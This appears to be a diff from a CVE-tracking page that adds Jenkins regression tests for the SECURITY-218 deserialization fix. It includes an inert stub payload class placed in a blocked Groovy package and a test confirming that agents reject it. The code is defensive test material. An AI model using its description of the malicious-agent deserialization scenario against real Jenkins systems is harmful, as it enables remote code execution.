    +import hudson.slaves.RetentionStrategy;
    +import org.apache.tools.ant.util.JavaEnvUtils;
    +import org.codehaus.groovy.runtime.Security218;
    +import org.junit.After;
    +import org.junit.Rule;
    +import org.junit.Test;
    +import org.jvnet.hudson.test.Issue;
    +import org.jvnet.hudson.test.JenkinsRule;
    +
    +import java.io.Serializable;
    +import java.util.Collections;
    +
    +import static org.junit.Assert.*;
    +
    +/**
    + * @author Kohsuke Kawaguchi
    + */
    +@Issue("SECURITY-218")
    +public class Security218Test implements Serializable {
    +    @Rule
    +    public transient JenkinsRule j = new JenkinsRule();
    +
    +    /**
    +     * JNLP slave.
    +     */
    +    private transient Process jnlp;
    +
    +    /**
    +     * Makes sure SECURITY-218 fix also applies to slaves.
    +     *
    +     * This test is for regular dumb slave
    +     */
    +    @Test
    +    public void dumbSlave() throws Exception {
    +        check(j.createOnlineSlave());
    +    }
    +
    +    /**
    +     * Makes sure SECURITY-218 fix also applies to slaves.
    +     *
    +     * This test is for JNLP slave
    +     */
    +    @Test
    +    public void jnlpSlave() throws Exception {
    +        DumbSlave s = createJnlpSlave("test");
    +        launchJnlpSlave(s);
    +        check(s);
    +    }
    +
    +    /**
    +     * The attack scenario here is that a master sends a normal command to a slave and a slave
    +     * inserts a malicious response.
    +     */
    +    @SuppressWarnings("ConstantConditions")
    +    private void check(DumbSlave s) throws Exception {
    +        try {
    +            s.getComputer().getChannel().call(new MasterToSlaveCallable<Object, RuntimeException>() {
    +                public Object call() {
    +                    return new Security218();
    +                }
    +            });
    +            fail("Expected the connection to die");
    +        } catch (SecurityException e) {
    +            assertTrue(e.getMessage().contains(Security218.class.getName()));
    +        }
    +    }
    +
    +// TODO: reconcile this duplicate with JnlpAccessWithSecuredHudsonTest
    +    /**
    +     * Creates a new slave that needs to be launched via JNLP.
    +     *
    +     * @see #launchJnlpSlave(Slave)
    +     */
    +    public DumbSlave createJnlpSlave(String name) throws Exception {
    +        DumbSlave s = new DumbSlave(name, "", System.getProperty("java.io.tmpdir") + '/' + name, "2", Mode.NORMAL, "", new JNLPLauncher(), RetentionStrategy.INSTANCE, Collections.EMPTY_LIST);
    +        j.jenkins.addNode(s);
    +        return s;
    +    }
    +
    +// TODO: reconcile this duplicate with JnlpAccessWithSecuredHudsonTest
    +    /**
    +     * Launch a JNLP slave created by {@link #createJnlpSlave(String)}
    +     */
    +    public Channel launchJnlpSlave(Slave slave) throws Exception {
    +        j.createWebClient().goTo("computer/"+slave.getNodeName()+"/slave-agent.jnlp?encrypt=true", "application/octet-stream");
    +        String secret = slave.getComputer().getJnlpMac();
    +        // To watch it fail: secret = secret.replace('1', '2');
    +        ProcessBuilder pb = new ProcessBuilder(JavaEnvUtils.getJreExecutable("java"),
    +                "-jar", Which.jarFile(hudson.remoting.Launcher.class).getAbsolutePath(),
    +                "-jnlpUrl", j.getURL() + "computer/"+slave.getNodeName()+"/slave-agent.jnlp", "-secret", secret);
    +
    +        pb.inheritIO();
    +        System.err.println("Running: " + pb.command());
    +
    +        jnlp = pb.start();
    +
    +        for (int i = 0; i < /* one minute */600; i++) {
    +            if (slave.getComputer().isOnline()) {
    +                return slave.getComputer().getChannel();
    +            }
    +            Thread.sleep(100);
    +        }
    +
    +        throw new AssertionError("JNLP slave agent failed to connect");
    +    }
    +
    +    @After
    +    public void tearDown() {
    +        if (jnlp !=null)
    +            jnlp.destroy();
    +    }
    +}
    
  • test/src/test/java/org/codehaus/groovy/runtime/Security218.java+21 0 added
    @@ -0,0 +1,21 @@
    +package org.codehaus.groovy.runtime;
    +
    +import org.jenkinsci.remoting.RoleChecker;
    +
    +import java.io.Serializable;
    +
    +/**
    + * Test payload in a prohibited package name.
    + *
    + * @author Kohsuke Kawaguchi
    + */
    +public class Security218 implements Serializable, hudson.remoting.Callable<Void,RuntimeException> {
    +    @Override
    +    public Void call() throws RuntimeException {
    +        return null;
    +    }
    +
    +    @Override
    +    public void checkRoles(RoleChecker checker) throws SecurityException {
    +    }
    +}
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

18

News mentions

0

No linked articles in our index yet.